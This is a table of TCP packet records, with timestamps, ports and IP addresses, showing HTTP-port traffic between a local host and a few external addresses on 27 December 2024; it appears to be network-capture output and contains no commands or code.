Dec 27, 2024 08:50:59.588193893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588205099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588268995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.588274956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588445902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.588923931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588983059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.588999033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.589073896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.589114904 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.589709997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.589768887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.589778900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.589839935 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.589864969 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.589987993 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.590518951 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.590575933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.590590000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.590626955 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.590651035 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.591304064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.591308117 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.591334105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.591348886 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.591423988 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.591449022 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.591464996 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.592113972 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592169046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592184067 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592231989 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.592233896 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592777014 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.592884064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592906952 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592917919 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.592962027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.592993975 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.593035936 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.593667984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.593692064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.593709946 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.593746901 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.593781948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.593822002 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.594449997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.594491005 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.594506025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.594547987 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.594574928 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.594769001 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.595251083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.595288992 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.595299006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.595335007 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.595372915 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596033096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596061945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596075058 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.596092939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596096039 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.596237898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596818924 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596828938 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.596910000 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596920013 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.596950054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.596982002 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.597610950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.597634077 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.597649097 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.597667933 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.597697020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.597697973 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.597771883 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.598382950 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.598453999 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.598500013 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.717160940 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.718281984 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.718358994 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.718430042 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.718477964 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.718799114 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.838011026 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.838025093 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.838119984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.838289976 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.838376045 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.838475943 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.957761049 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.957775116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.957794905 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.957808971 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.957874060 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.957916975 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.958040953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958107948 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958127022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958153009 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958163977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.958209991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.958839893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958888054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958904028 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958969116 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.958978891 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.959144115 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.959650040 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.959724903 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.959737062 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.959841967 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.959868908 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.959959984 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.960419893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.960457087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.960473061 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.960546017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.960659027 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.961203098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.961251020 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.961266041 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.961354017 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.961364985 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.961896896 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.961992025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962061882 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962073088 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962131977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.962131977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962771893 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962835073 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962851048 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962856054 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.962912083 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.962938070 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.963195086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.963573933 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.963597059 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.963612080 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.963710070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.964034081 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.964349985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.964417934 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.964421034 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.964430094 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.964570045 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.964572906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.965254068 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.965276003 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.965291977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.965306997 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.965310097 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.965343952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.965343952 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.965985060 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.965996027 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966016054 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966125011 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966140032 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.966177940 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.966701031 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966751099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966763973 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966846943 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.966862917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.967526913 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.967550039 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.967561960 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.967601061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.967601061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.967639923 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.967742920 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.968287945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.968336105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.968350887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.968403101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.968458891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969101906 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969122887 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969136953 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969181061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.969181061 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.969214916 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969364882 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.969862938 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969919920 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.969933033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.970000982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.970232964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.970232964 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.970649958 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.970688105 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.970698118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.970788956 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.970920086 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.971438885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.971481085 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.971491098 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.971590996 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.971611023 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.971857071 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.972228050 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.972280025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.972294092 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.972389936 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.972410917 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.972618103 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.973017931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973078012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973092079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973160982 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973191977 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.973212957 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.973818064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973860025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973875046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973943949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.973944902 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.974030972 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.974597931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.974638939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.974653006 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.974711895 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.974745989 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.974817991 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.975452900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.975464106 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.975483894 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.975544930 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.975580931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.975580931 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.976178885 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.976259947 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.976274014 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.976315022 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.976402044 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.976479053 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.977009058 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977061033 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977075100 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977142096 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977170944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.977756977 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977832079 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977847099 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.977894068 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.977911949 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.978535891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.978598118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.978600979 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.978615046 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.978691101 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.978780031 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.979338884 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.979366064 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.979379892 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.979439974 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.979461908 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980125904 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980166912 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980186939 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980261087 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980271101 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.980473995 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.980928898 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980940104 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980957985 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.980993986 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.981050968 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.981723070 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.981758118 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.981772900 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.981807947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.981807947 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.981839895 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.982165098 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.982503891 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.982543945 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.982558012 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.982631922 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.982661009 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.982721090 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:50:59.983305931 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.983324051 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.983340025 CET	80	49752	185.215.113.16	192.168.2.6
Dec 27, 2024 08:50:59.983433008 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:51:00.004452944 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:51:00.856914997 CET	49752	80	192.168.2.6	185.215.113.16
Dec 27, 2024 08:51:01.441726923 CET	49783	80	192.168.2.6	185.215.113.206
Dec 27, 2024 08:52:05.267616034 CET	49937	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:05.387283087 CET	80	49937	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:05.387401104 CET	49937	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:05.388421059 CET	49937	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:05.508152008 CET	80	49937	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:06.728801966 CET	80	49937	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:06.728910923 CET	49937	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:08.241308928 CET	49937	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:08.241633892 CET	49944	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:08.361239910 CET	80	49937	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:08.361299992 CET	80	49944	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:08.361388922 CET	49937	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:08.361443996 CET	49944	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:08.361630917 CET	49944	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:08.481148005 CET	80	49944	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:09.772114992 CET	80	49944	185.215.113.43	192.168.2.6
Dec 27, 2024 08:52:09.772186995 CET	49944	80	192.168.2.6	185.215.113.43
Dec 27, 2024 08:52:09.776457071 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:09.896033049 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:09.896217108 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:09.896424055 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:10.016155005 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.220943928 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.220973015 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.220993996 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221007109 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221023083 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221028090 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221030951 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.221041918 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221065044 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.221081018 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.221162081 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221173048 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221185923 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.221210003 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.221225023 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.340815067 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.340846062 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.340912104 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.344880104 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.344945908 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.412920952 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.412986040 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.413029909 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.413067102 CET	49949	80	192.168.2.6	31.41.244.11
Dec 27, 2024 08:52:11.417059898 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.417109966 CET	80	49949	31.41.244.11	192.168.2.6
Dec 27, 2024 08:52:11.417126894 CET	49949	80	192.168.2.6	31.41.244.11
